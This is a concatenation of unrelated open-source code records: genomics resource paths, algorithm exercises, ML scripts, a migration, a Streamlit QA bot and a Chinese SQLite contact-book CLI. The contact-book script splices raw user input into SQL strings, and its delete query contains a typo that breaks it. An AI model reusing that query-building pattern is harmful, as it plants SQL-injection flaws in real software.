“non_ukb_XY_adj”\nsubset_gen-anc_sex_group, e.g. “non_ukb_mid_XX_adj”,\n\nThe example below shows how to access the entry of the high quality genotypes\n(group: adj) of XX individuals (sex: XX) labeled as AFR (gen_anc: AFR)\nin the HT:\n\n    # Use the key 'afr-XX-adj' to retrieve the index of this groups frequency data in 'freq'\n    ht = ht.annotate(afr_XX_freq=ht.freq[ht.freq_index_dict['afr-XX-adj']])\n\nThe above example will retrieve the entire frequency struct for each variant. To grab a\ncertain statistic, such as AC, specify the statistic after the value:\n\n    ht = ht.annotate(afr_XX_AC=ht.freq[ht.freq_index_dict['afr-XX-adj']].AC)\n\nThis same approach can be applied to the filtering allele frequency (FAF) array, 'faf',\nby using the 'faf_index_dict'. For more information, please visit the FAQ page:\nhttps://gnomad.broadinstitute.org/help#technical-details:~:text=How%20do%20I%20access%20the%20gnomAD%20Hail%20Table%20frequency%20annotation%3F\n\"\"\"\n\nlogging.basicConfig(format=\"%(levelname)s (%(name)s %(lineno)s): %(message)s\")\nlogger = logging.getLogger(\"release_resources\")\nlogger.setLevel(logging.INFO)\n\n\ndef _release_root(\n    version: str = CURRENT_RELEASE,\n    test: bool = False,\n    data_type: str = \"exomes\",\n    extension: str = \"ht\",\n) -> str:\n    \"\"\"\n    Get root path to the release files.\n\n    :param version: Version of release path to return.\n    :param test: Whether to use a tmp path for testing.\n    :param data_type: Data type of annotation resource. e.g. \"exomes\" or \"genomes\".\n        Default is \"exomes\".\n    :param extension: File extension of release file. Default is \"ht\".\n    :return: Root path of the release files.\n    \"\"\"\n    return (\n        f\"gs://gnomad-tmp/gnomad_v{version}_testing/release/{extension}/{data_type}\"\n        if test\n        else f\"gs://gnomad/release/{version}/{extension}/{data_type}\"\n    )\n\n\ndef annotation_hists_path(release_version: str = CURRENT_RELEASE) -> str:\n    \"\"\"\n    Return path to file containing ANNOTATIONS_HISTS dictionary.\n\n    Dictionary contains histogram values for each metric.\n    For example, \"InbreedingCoeff\": [-0.25, 0.25, 50].\n\n    :return: Path to file with annotation histograms\n    \"\"\"\n    return f\"gs://gnomad/release/{release_version}/json/annotation_hists.json\"\n\n\ndef qual_hists_json_path(release_version: str = CURRENT_RELEASE) -> str:\n    \"\"\"\n    Fetch filepath for qual histograms JSON.\n\n    :param release_version: Release version. Defaults to CURRENT RELEASE\n    :return: File path for histogram JSON\n    \"\"\"\n    return f\"gs://gnomad/release/{release_version}/json/gnomad.exomes.v{release_version}.json\"\n\n\ndef get_combined_faf_release(test: bool = False) -> VersionedTableResource:\n    \"\"\"\n    Retrieve versioned resource for the combined genome + exome FAF release Table.\n\n    :param test: Whether to use a tmp path for testing. Default is False.\n    :return: Combined genome + exome FAF release VersionedTableResource.\n    \"\"\"\n    return VersionedTableResource(\n        default_version=CURRENT_COMBINED_FAF_RELEASE,\n        versions={\n            release: TableResource(\n                path=(\n                    f\"gs://gnomad{'-tmp' if test else ''}/release/{release}/ht/joint/gnomad.joint.v{release}.faf.ht\"\n                )\n            )\n            for release in COMBINED_FAF_RELEASES\n        },\n    )\n\n\ndef release_ht_path(\n    data_type: str = \"exomes\",\n    release_version: str = CURRENT_RELEASE,\n    public: bool = False,\n) -> str:\n    \"\"\"\n    Fetch filepath for release (variant-only) Hail Tables.\n\n    :param data_type: Data type of release resource to return. Should be one of\n        'exomes' or 'genomes'. Default is 'exomes'.\n    :param release_version: Release version. Default is CURRENT_RELEASE.\n    :param public: Whether release sites Table path returned is from public or private\n        bucket. Default is False.\n    :return: File path for desired release Hail Table.\n    \"\"\"\n    if public:\n        if file_exists(public_release(data_type).versions[release_version].path):\n            return public_release(data_type).versions[release_version].path\n        else:\n            return f\"gs://gnomad-public-requester-pays/release/{release_version}/ht/{data_type}/gnomad.{data_type}.v{release_version}.sites.ht\"\n    else:\n        return f\"gs://gnomad/release/{release_version}/ht/{data_type}/gnomad.{data_type}.v{release_version}.sites.ht\"\n\n\ndef release_sites(\n    data_type: str = \"exomes\", public: bool = False\n) -> VersionedTableResource:\n    \"\"\"\n    Retrieve versioned resource for sites-only release Table.\n\n    :param data_type: Data type of release resource to return. Should be one of\n        'exomes' or 'genomes'. Default is 'exomes'.\n    :param public: Whether release sites Table path returned is from public or private\n        bucket. Default is False.\n    :return: Sites-only release Table.\n    \"\"\"\n    return VersionedTableResource(\n        default_version=CURRENT_RELEASE,\n        versions={\n            release: TableResource(\n                path=release_ht_path(\n                    data_type=data_type,\n                    release_version=release,\n                    public=public,\n                )\n            )\n            for release in RELEASES\n        },\n    )\n\n\ndef release_vcf_path(\n    release_version: Optional[str] = None,\n    contig: Optional[str] = None,\n) -> str:\n    \"\"\"\n    Fetch bucket for release (sites-only) VCFs.\n\n    :param release_version: Release version. When no release_version is supplied CURRENT_RELEASE is used.\n    :param contig: String containing the name of the desired reference contig. Defaults to the full (all contigs) sites VCF path\n        sites VCF path\n    :return: Filepath for the desired VCF\n    \"\"\"\n    if release_version is None:\n        release_version = CURRENT_RELEASE\n\n    if contig:\n        return f\"gs://gnomad/release/{release_version}/vcf/exomes/gnomad.exomes.v{release_version}.sites.{contig}.vcf.bgz\"\n    else:\n        # If contig is None, return path to sharded vcf bucket.\n        # NOTE: need to add .bgz or else hail will not bgzip shards.\n        return f\"gs://gnomad/release/{release_version}/vcf/exomes/gnomad.exomes.v{release_version}.sites.vcf.bgz\"\n\n\ndef release_header_path(release_version: Optional[str] = None) -> str:\n    \"\"\"\n    Fetch path to pickle file containing VCF header dictionary.\n\n    :param release_version: Release version. When no release_version is supplied CURRENT_RELEASE is used\n    :return: Filepath for header dictionary pickle\n    \"\"\"\n    if release_version is None:\n        release_version = CURRENT_RELEASE\n\n    return f\"gs://gnomad/release/{release_version}/vcf/exomes/gnomad.exomes.v{release_version}_header_dict.pickle\"\n\n\ndef append_to_vcf_header_path(\n    subset: str, release_version: str = CURRENT_RELEASE\n) -> str:\n    \"\"\"\n    Fetch path to TSV file containing extra fields to append to VCF header.\n\n    Extra fields are VEP and dbSNP versions.\n\n    :param subset: One of the possible release subsets\n    :param release_version: Release version. Defaults to CURRENT RELEASE\n    :return: Filepath for extra fields TSV file\n    \"\"\"\n    return (\n        f\"gs://gnomad/release/{release_version}/vcf/exomes/extra_fields_for_header{f'_{subset}' if subset else ''}.tsv\"\n    )\n\n\ndef release_coverage_path(\n    data_type: str = \"exomes\",\n    release_version: str = CURRENT_RELEASE,\n    public: bool = True,\n    test: bool = False,\n) -> str:\n    \"\"\"\n    Fetch filepath for coverage release Table.\n\n    :param data_type: 'exomes' or 'genomes'. Default is 'exomes'.\n    :param release_version: Release version.\n    :param public: Determines whether release coverage Table is read from public or\n        private bucket. Default is public.\n    :param test: Whether to use a tmp path for testing. Default is False.\n    :return: File path for desired coverage Hail Table.\n    \"\"\"\n    if public:\n        if test:\n            raise ValueError(\"Cannot use test=True with public=True!\")\n        try:\n            cov = coverage(data_type)\n            if release_version in cov.versions:\n                path = cov.versions[release_version].path\n            else:\n                path = None\n        except DataException:\n            path = None\n        if path is None:\n            logger.warning(\n                \"No public coverage Table found for data_type %s and release %s. \"\n                \"Using 'gs://gnomad-public-requester-pays' path.\",\n                data_type,\n                release_version,\n            )\n            return f\"gs://gnomad-public-requester-pays/release/{release_version}/ht/{data_type}/gnomad.{data_type}.v{release_version}.coverage.ht\"\n        else:\n            return path\n    else:\n        return (\n            f\"{_release_root(release_version, test=test, data_type=data_type)}/gnomad.{data_type}.v{release_version}.coverage.ht\"\n        )\n\n\ndef release_coverage_tsv_path(\n    data_type: str = \"exomes\",\n    release_version: str = CURRENT_COVERAGE_RELEASE[\"exomes\"],\n    test: bool = False,\n) -> str:\n    \"\"\"\n    Fetch path to coverage TSV file.\n\n    :param data_type: 'exomes' or 'genomes'. Default is 'exomes'.\n    :param release_version: Release version. Default is CURRENT_COVERAGE_RELEASE[\"exomes\"].\n    :param test: Whether to use a tmp path for testing. Default is False.\n    :return: Coverage TSV path.\n    \"\"\"\n    return (\n        f\"{_release_root(release_version, test=test, data_type=data_type, extension='tsv')}/gnomad.{data_type}.v{release_version}.coverage.tsv.bgz\"\n    )\n\n\ndef release_coverage(\n    data_type: str = \"exomes\", public: bool = False, test: bool = False\n) -> VersionedTableResource:\n    \"\"\"\n    Retrieve versioned resource for coverage release Table.\n\n    :param data_type: 'exomes' or 'genomes'. Default is 'exomes'.\n    :param public: Determines whether release coverage Table is read from public or\n        private bucket. Default is private.\n    :param test: Whether to use a tmp path for testing. Default is False.\n    :return: Coverage release Table.\n    \"\"\"\n    return VersionedTableResource(\n        default_version=CURRENT_COVERAGE_RELEASE[data_type],\n        versions={\n            release: TableResource(\n                path=release_coverage_path(\n                    data_type=data_type,\n                    release_version=release,\n                    public=public,\n                    test=test,\n                )\n            )\n            for release in COVERAGE_RELEASES[data_type]\n        },\n    )\n\n\ndef included_datasets_json_path(\n    data_type: str = \"exomes\",\n    test: bool = False,\n    release_version: str = CURRENT_RELEASE,\n) -> str:\n    \"\"\"\n    Fetch filepath for the JSON containing all datasets used in the release.\n\n    :param data_type: 'exomes' or 'genomes'. Default is 'exomes'.\n    :param test: Whether to use a tmp path for testing. Default is False.\n    :param release_version: Release version. Defaults to CURRENT RELEASE\n    :return: File path for release versions included datasets JSON\n    \"\"\"\n    return (\n        f\"{_release_root(release_version, test=test, data_type=data_type, extension='json')}/gnomad.exomes.v{release_version}.included_datasets.json\"\n    )\n\n\ndef validated_release_ht(\n    test: bool = False,\n    data_type: str = \"exomes\",\n) -> VersionedTableResource:\n    \"\"\"\n    Retrieve versioned resource for validated sites-only release Table.\n\n    :param test: Whether to use a tmp path for testing. Default is False.\n    :param data_type: 'exomes' or 'genomes'. Default is 'exomes'.\n    :return: Validated release Table\n    \"\"\"\n    return VersionedTableResource(\n        CURRENT_RELEASE,\n        {\n            version: TableResource(\n                path=(\n                    f\"{_release_root(version, data_type=data_type, test=test)}/gnomad.{data_type}.v{version}.validated_release.ht\"\n                )\n            )\n            for version in RELEASES\n        },\n    )\n","repo_name":"broadinstitute/gnomad_qc","sub_path":"gnomad_qc/v4/resources/release.py","file_name":"release.py","file_ext":"py","file_size_in_byte":13400,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"57"}
+{"seq_id":"71016038578","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution:\n    def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> Optional[ListNode]:\n        a_head = headA\n        b_head = headB\n        while a_head != b_head:\n            a_head = a_head.next if a_head else headB\n            b_head = b_head.next if b_head else headA\n        return a_head\n        ","repo_name":"heewonp/Algorithm","sub_path":"python/leetcode/160. Intersection of Two Linked Lists.py","file_name":"160. Intersection of Two Linked Lists.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"35627063281","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Aug 15 12:18:29 2020\r\n\r\n@author: Rahul Kumar\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn import preprocessing\r\nimport csv\r\n\r\ndf = pd.read_csv('train.csv')\r\nfd = pd.read_csv('test.csv')\r\nz = fd['pet_id']\r\n#print(df.head())\r\n#print(df['color_type'].values)\r\n\r\nx = np.asarray(df[['length(m)', 'height(cm)', 'X1', 'X2']])\r\nx1 =np.asarray(fd[['length(m)', 'height(cm)', 'X1', 'X2']])\r\n#print(x[0:5])\r\ny1 = np.asarray(df['breed_category'])\r\n#print(y1[0:5])\r\ny2 = np.asarray(df['pet_category'])\r\n#print(y[0:5])\r\nx = preprocessing.StandardScaler().fit(x).transform(x)\r\nx1 = preprocessing.StandardScaler().fit(x1).transform(x1)\r\n#print(x[0:5])\r\n\r\n#from sklearn.model_selection import train_test_split\r\n\r\n#xtrain, xtest, ytrain, ytest = train_test_split(x, y2, test_size =0.3, random_state =4)\r\n#print (xtrain.shape, ytrain.shape)\r\n#print(xtest.shape, ytest.shape)\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nk =3\r\nneigh = KNeighborsClassifier(n_neighbors = k ).fit(x, y1)\r\npredy = neigh.predict(x1)\r\n#pred = np.array(predy)\r\nk1 =5\r\nneigh = KNeighborsClassifier(n_neighbors=k1).fit(x,y2)\r\npred = neigh.predict(x1)\r\nrow = ['pet_id', 'breed_category','pet_category']\r\nwith open('x.csv', 'w',newline='') as csvfile:\r\n    csvwriter = csv.writer(csvfile)\r\n    csvwriter.writerow(row)\r\n    for av in range(len(predy)):\r\n        data = [z[av],predy[av],pred[av]]\r\n        csvwriter.writerow(data)\r\n#csvfile.close()\r\n    \r\n\r\n","repo_name":"rjrahul10/ML-Adopt-a-Buddy","sub_path":"adotbuddy.py","file_name":"adotbuddy.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"6727551310","text":"from collections import deque\n\ndef solution(n, edge):\n    graph = [[] for _ in range(n + 1)]\n    visited = [0] * (n + 1)\n    for a, b in edge:\n        graph[a].append(b)\n        graph[b].append(a)\n\n    visited[1] = 1\n    que = deque([1])\n\n    while que:\n        now = que.popleft()\n        \n        for i in graph[now]:\n            if not visited[i]:\n                visited[i] = visited[now] + 1\n                que.append(i)\n                \n    return visited.count(max(visited))","repo_name":"KKamjangE/programmers_coding_test","sub_path":"프로그래머스/lv3/49189. 가장 먼 노드/가장 먼 노드.py","file_name":"가장 먼 노드.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23159020878","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport sqlite3\n\n\ndef print_word(string):\n    print(string.center(50, \"-\"))\n\n\n# 打开数据库\ndef open_db():\n    conn = sqlite3.connect(\"contact.db\")\n    cur = conn.execute(\n        \"Create table if not exists tongxunlu(usernum integer primary key, username varchar(128), password varchar(128), address varchar(125), telnum varchar(128))\"\n    )\n    return cur, conn\n\n\n# 查询全部信息\ndef show_all_db():\n    print_word(\"处理后的数据\")\n    hel = open_db()\n    cur = hel[1].cursor()\n    cur.execute(\"select * from tongxunlu\")\n    res = cur.fetchall()\n    for line in res:\n        for h in line:\n            print(h),\n        print\n    cur.close()\n\n\n# 输入信息\ndef into():\n    usernum = input(\"请输入学号：\")\n    username = input(\"请输入姓名：\")\n    password = input(\"请输入密码：\")\n    address = input(\"请输入地址：\")\n    telnum = input(\"请输入手机号码：\")\n    return usernum, username,  password, address, telnum\n\n\n# 往数据库中添加内容\ndef add_db():\n    print_word(\"欢迎使用添加数据功能\")\n    person = into()\n    hel = open_db()\n    hel[1].execute(\n        \"insert into tongxunlu(usernum, username, password, address, telnum)values(?,?,?,?,?)\",\n        (person[0], person[1], person[2], person[3], person[4]),\n    )\n    hel[1].commit()\n    print_word(\"恭喜你，数据添加成功。\")\n    show_all_db()\n    hel[1].close()\n\n\n# 删除数据库中的内容\ndef del_db():\n    print_word(\"欢迎使用输出数据库功能\")\n    del_choice = input(\"请输入想要删除的学号：\")\n    hel = open_db()\n    hel[1].execute(\"delete form tongxunlu where usernum = \" + del_choice)\n    print_word(\"恭喜你，数据删除成功！\")\n    show_all_db()\n    hel[1].close()\n\n\n# 修改数据库的内容\ndef alter():\n    print_word(\"欢迎使用修改数据库功能\")\n    change_choice = input(\"请输入想要修改的学生的学号：\")\n    hel = open_db()\n    person = into()\n    hel[1].execute(\n        \"update tongxunlu set usernum=?, username=?, password=?, address=?, telnum=? where usernum=\"\n        + change_choice,\n        (person[0], person[1], person[2], person[3], person[4]),\n    )\n    hel[1].commit()\n    show_all_db()\n    hel[1].close()\n\n\n# 查询数据\ndef search_db():\n    print_word(\"欢迎使用查询数据库功能\")\n    choice = input(\"请输入要查询的学生的学号：\")\n    hel = open_db()\n    cur = hel[1].cursor()\n    cur.execute(\"select * from tongxunlu where usernum=\" + choice)\n    hel[1].commit()\n    print_word(\"恭喜你，你要查询的数据如下：\")\n    for row in cur:\n        print(row[0], row[1], row[2], row[3], row[4])\n    cur.close()\n    hel[1].close()\n\n\n# 是否继续\ndef conti(a):\n    choice = input(\"是否继续？（y or n）:\")\n    if choice == \"y\":\n        a = 1\n    else:\n        a = 0\n    return a\n\n\nif __name__ == \"__main__\":\n    flag = 1\n    while flag:\n        print_word(\"欢迎使用数据库通讯录\")\n        choice_show = \"\"\"\n                    请选择你的进一步选择：\n                    （添加）往数据库里面添加内容\n                    （删除）删除数据库中的内容\n                    （修改）修改数据库中的内容\n                    （查询）查询数据库中的内容\n                    选择你想要进行的操作:\n                    \"\"\"\n        choice = input(choice_show)\n        if choice == \"添加\":\n            add_db()\n            flag = conti(flag)\n        elif choice == \"删除\":\n            del_db()\n            flag = conti(flag)\n        elif choice == \"修改\":\n            alter()\n            flag = conti(flag)\n        elif choice == \"查询\":\n            search_db()\n            flag = conti(flag)\n        else:\n            print(\"你输入有误，请重新输入！\")\n            flag = conti(flag)\n","repo_name":"weibochen/py_learn","sub_path":"contact_of_student.py","file_name":"contact_of_student.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"44762384056","text":"\"\"\"add next in Page\n\nRevision ID: 83f79ad1fcb5\nRevises: 2c4ecefdb853\nCreate Date: 2020-12-28 12:05:31.173189\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '83f79ad1fcb5'\ndown_revision = '2c4ecefdb853'\nbranch_labels = ()\ndepends_on = None\n\n\ndef upgrade():\n    with op.batch_alter_table('page', schema=None) as batch_op:\n        batch_op.add_column(sa.Column('next_id', sa.INTEGER(), nullable=True))\n        batch_op.create_foreign_key('fk_next_id', 'page', ['next_id'], ['id'], ondelete='SET NULL')\n\n\ndef downgrade():\n    with op.batch_alter_table('page', schema=None) as batch_op:\n        batch_op.drop_constraint('fk_next_id', type_='foreignkey')\n        batch_op.drop_column('next_id')\n","repo_name":"pierre-24/AM-Nihoul-website","sub_path":"AM_Nihoul_website/migrations/83f79ad1fcb5_add_next_in_page.py","file_name":"83f79ad1fcb5_add_next_in_page.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71758999837","text":"from __future__ import print_function\n\nimport argparse\nimport os\nimport pandas as pd\nimport sklearn\nimport numpy as np\n\nfrom sklearn import tree\nfrom sklearn.externals import joblib\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    # Sagemaker specific arguments. Defaults are set in the environment variables.\n\n    #Saves Checkpoints and graphs\n    parser.add_argument('--output-data-dir', type=str, default=os.environ['SM_OUTPUT_DATA_DIR'])\n\n    #Save model artifacts\n    parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])\n\n    #Train data\n    parser.add_argument('--train', type=str, default=os.environ['SM_CHANNEL_TRAIN'])\n\n    args = parser.parse_args()\n\n    file = os.path.join(args.train, \"scrapped_23052022.csv\")\n    df = pd.read_csv(file, engine=\"python\")\n    \n    # Predictor Attributes\n    X = df.iloc[:, 5:9]\n    Y = df.iloc[:, 21]\n    \n    \n    X['Przebieg'] = X['Przebieg'].fillna(X['Przebieg'].mode()[0])\n    X['Pojemność skokowa'] = X['Pojemność skokowa'].fillna(df['Pojemność skokowa'].mode()[0])\n    X['Moc'] = X['Moc'].fillna(X['Moc'].mode()[0])\n  \n    \n    X['Przebieg'] = X['Przebieg'].str.extract(r'(\\d+)').astype(int)\n    X['Pojemność skokowa'] = X['Pojemność skokowa'].str.extract(r'(\\d+)').astype(int)\n    X['Moc'] = X['Moc'].str.extract(r'(\\d+)').astype(int)\n    \n    \n    # Encoding categorical data\n    #from sklearn.preprocessing import OneHotEncoder\n    #onehotencoder = OneHotEncoder(sparse=False,)\n    #X = onehotencoder.fit_transform(X)\n    Y = df.iloc[:, 21]\n    \n    \n    from sklearn.model_selection import train_test_split\n    X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = 0.2, random_state = 0)\n    from sklearn.svm import SVR\n    regressor = SVR(kernel = 'rbf')\n    regressor.fit(X_train, y_train)\n\n    # Print the coefficients of the trained classifier, and save the coefficients\n    joblib.dump(regressor, os.path.join(args.model_dir, \"model.joblib\"))\n    \n    # print the onehot encoder and save\n    #joblib.dump(onehotencoder, os.path.join(args.ohe_dir, \"ohe.joblib\"))\n\n    \n    \ndef model_fn(model_dir):\n    \"\"\"Deserialized and return fitted model\n    \n    Note that this should have the same name as the serialized model in the main method\n    \"\"\"\n    regressor = joblib.load(os.path.join(model_dir, \"model.joblib\"))\n    return regressor\n\n\n#def predict_fn(input_data, model):\n#    prediction = model.predict(input_data)\n#    pred_prob = model.predict_proba(input_data)\n#    return np.array([prediction, pred_prob])","repo_name":"AmirAli5/Master-in-Data-Science-at-WUT","sub_path":"Semester 02/Cloud Computing/Project 2/Source Code/SageMaker/bike_model.py","file_name":"bike_model.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"25212682630","text":"#Tic tac toe\r\n#Using functions and array lists\r\n\r\nboard = []\r\nfor i in range(9):\r\n   board.append(' ')\r\n\r\ndef printBoard():\r\n   print()\r\n   print(board[0] + '|' + board[1] + '|' + board[2])\r\n   print('-+-+-')\r\n   print(board[3] + '|' + board[4] + '|' + board[5])\r\n   print('-+-+-')\r\n   print(board[6] + '|' + board[7] + '|' + board[8])\r\n   print()\r\n\r\ndef checkMove(spot):\r\n   if board[spot] != ' ':\r\n      return False\r\n   return True\r\n\r\ndef checkWin(turn):\r\n  if board[0] == turn and board[1] == turn and board[2] == turn:\r\n    return True\r\n  elif board[3] == turn and board[4] == turn and board[5] == turn:\r\n    return True\r\n  elif board[6] == turn and board[7] == turn and board[8] == turn:\r\n    return True\r\n  elif board[0] == board[4] == board[8] == turn:\r\n    return True\r\n  elif board[2] == board[4] == board[6] == turn:\r\n    return True\r\n  elif board[0] == board[3] == board[6] == turn:\r\n    return True\r\n  elif board[1] == board[4] == board[7] == turn:\r\n    return True\r\n  elif board[2] == board[5] == board[8] == turn:\r\n    return True\r\n\r\nmove = 0\r\nturn = 'X'\r\n\r\nprint(\"---------Tic Tac Toe---------\")\r\n\r\nwhile True:\r\n   if move == 9:\r\n      print(\"It\\'s a tie\")\r\n      break\r\n\r\n   print(turn + \"\\'s turn\")\r\n   spot = input(\"Where do you want to place your mark (0-8): \")\r\n   spot = (int)(spot)\r\n\r\n   while True:\r\n      if checkMove(spot):\r\n         board[spot] = turn\r\n         break\r\n      else:\r\n         print(\"The move you entered is not allowed\")\r\n         spot = input(\"Enter a different spot (0-8): \")\r\n         spot = (int)(spot)\r\n   \r\n   printBoard()\r\n\r\n   if checkWin(turn):\r\n      print(turn + \" won\")\r\n      break\r\n\r\n   if turn == 'X':\r\n      turn = 'O'\r\n   else:\r\n      turn = 'X'\r\n   \r\n   move = move + 1","repo_name":"JihoPark21/theCoderSchool","sub_path":"python/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"70220846559","text":"# https://docs.streamlit.io/knowledge-base/tutorials/build-conversational-apps\n'''\nstreamlit run streamlit_yt_QA_bot.py\n'''\nimport os\n\nimport random\nimport time\nimport streamlit as st\nfrom langchain.text_splitter import TokenTextSplitter\nfrom langchain.chat_models import ChatVertexAI\nfrom langchain.document_loaders import YoutubeLoader\nfrom langchain.embeddings import VertexAIEmbeddings\nfrom langchain.vectorstores import FAISS\nfrom langchain.chains import RetrievalQA\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = './aiap-13-ds-7e16bb946970.json'\n\n# Initialize the YouTube loader\nloader = YoutubeLoader.from_youtube_url(\n    'https://www.youtube.com/watch?v=jlivBvu3Jrc',\n    add_video_info=True,\n    language=[\"en-US\"])\n\n# Load the data\ndata = loader.load()\n\n# Initialize text splitter for QA\ntext_splitter_qa = TokenTextSplitter(chunk_size=1000, chunk_overlap=200)\n\n# Split text into docs for QA\ndocs_qa = text_splitter_qa.split_documents(data)\n\n# Create the LLM model for the question answering\nllm_question_answer = ChatVertexAI(temperature=0.2)\n\n# Create the vector database and RetrievalQA Chain\nembeddings = VertexAIEmbeddings()\ndb = FAISS.from_documents(docs_qa, embeddings)\nqa = RetrievalQA.from_chain_type(\n    llm=llm_question_answer, chain_type=\"stuff\", retriever=db.as_retriever())\n\n# Streamlit application\nst.title('Genshin Impact QA Bot')\n\n# st.title(\"Retrieval-based QA System\")\n\n# Initialize your retrieval QA system\nqa = RetrievalQA.from_chain_type(\n    llm=llm_question_answer,\n    chain_type=\"stuff\",\n    retriever=db.as_retriever()\n)\n\n\n# if \"history\" not in st.session_state:\n#     st.session_state.history = []\n#     print (\"done\")\n#     print(\"st.session_state.history: \", st.session_state.history)\n#     print(\"st.session_state.history: \", st.session_state['history'])\n\n# # Display previous Q&A\n# for q_and_a in st.session_state.history:\n#     st.markdown(f\"**Q:** {q_and_a['question']}\")\n#     st.markdown(f\"**A:** {q_and_a['answer']}\")\n\n# # Get the user question\n# question = st.text_input(\"Ask a question:\")\n\n# if question:\n#     # Run the QA chain to query the data\n#     answer = qa.run(question)\n#     st.session_state.history.append({\"question\": question, \"answer\": answer})\n\n#     # Display the answer\n#     st.markdown(f\"**Q:** {question}\")\n#     st.markdown(f\"**A:** {answer}\")\n\n# #######################################\n# if \"history\" not in st.session_state:\n#     st.session_state.history = []\n\n# for message in st.session_state.history:\n#     with st.chat_message(message[\"role\"]):\n#         st.markdown(message[\"content\"])\n\n# if prompt := st.chat_input(\"What is your question?\"):\n#     st.session_state.history.append({\"role\": \"user\", \"content\": prompt})\n#     with st.chat_message(\"user\"):\n#         st.markdown(prompt)\n\n#     with st.chat_message(\"assistant\"):\n#         message_placeholder = st.empty()\n#         full_response = \"\"\n#         # Assuming the qa.run method returns a generator of responses\n#         for response in qa.run(prompt):\n#             full_response += response\n#             message_placeholder.markdown(full_response + \"▌\")\n#         message_placeholder.markdown(full_response)\n#     st.session_state.history.append(\n#         {\"role\": \"assistant\", \"content\": full_response})\n######################################################\nif \"history\" not in st.session_state:\n    st.session_state.history = []\n\n# Display previous Q&A\nfor q_and_a in st.session_state.history:\n    st.markdown(f\"**Q:** {q_and_a['question']}\")\n    st.markdown(f\"**A:** {q_and_a['answer']}\")\n\n# Get the user question\nquestion = st.text_input(\"Ask a question:\")\n\nif question:\n    # Run the QA chain to query the data\n    answer = qa.run(question)\n    st.session_state.history.append({\"question\": question, \"answer\": answer})\n\n    # Display the answer\n    st.markdown(f\"**Q:** {question}\")\n    st.markdown(f\"**A:** {answer}\")\n\n# ##################################################################\n\n# # Initialize chat history\n# if \"messages\" not in st.session_state:\n#     st.session_state.messages = []\n\n# # Display chat messages from history on app rerun\n# for message in st.session_state.messages:\n#     with st.chat_message(message[\"role\"]):\n#         st.markdown(message[\"content\"])\n\n# # Accept user input\n# if prompt := st.chat_input(placeholder=\"Ask a question...\"):\n#     # Add user message to chat history\n#     st.session_state.messages.append({\"role\": \"user\", \"content\": prompt})\n#     # Display user message in chat message container\n#     with st.chat_message(\"user\"):\n#         st.markdown(prompt)\n#     # Display assistant response in chat message container\n#     with st.chat_message(\"assistant\"):\n#         message_placeholder = st.empty()\n#         full_response = \"\"\n\n# # Render chat UI\n# user_input = st.chat_input(placeholder=\"Ask a question...\")\n# if user_input:\n#     chat = st.session_state.get('chat', [])\n\n#     if len(chat) > 0 and chat[-1]['role'] == 'user':\n#         question = chat[-1]['content']\n#         answer = qa.run(question)\n#         chat.append({'role': 'system', 'content': answer})\n\n#     for message in chat:\n#         st.chat_message(**message)\n\n#     st.session_state['chat'] = chat\n","repo_name":"cweiqiang/yt-vid-summarizer-qabot-multilingual-stt-tts","sub_path":"src/archive/streamlit_yt_QA_bot.py","file_name":"streamlit_yt_QA_bot.py","file_ext":"py","file_size_in_byte":5174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"9708956446","text":"def wave(people: str) -> list[str]:\n    result = []\n    for (count, test) in enumerate(people):\n        if test.isspace():\n            continue\n        p = list(people)\n        p[count] = test.upper()\n        result.append(''.join(p))\n    return result\n\n\nprint(wave(\"test\"))\n","repo_name":"Anur13/Python-practice","sub_path":"wave.py","file_name":"wave.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
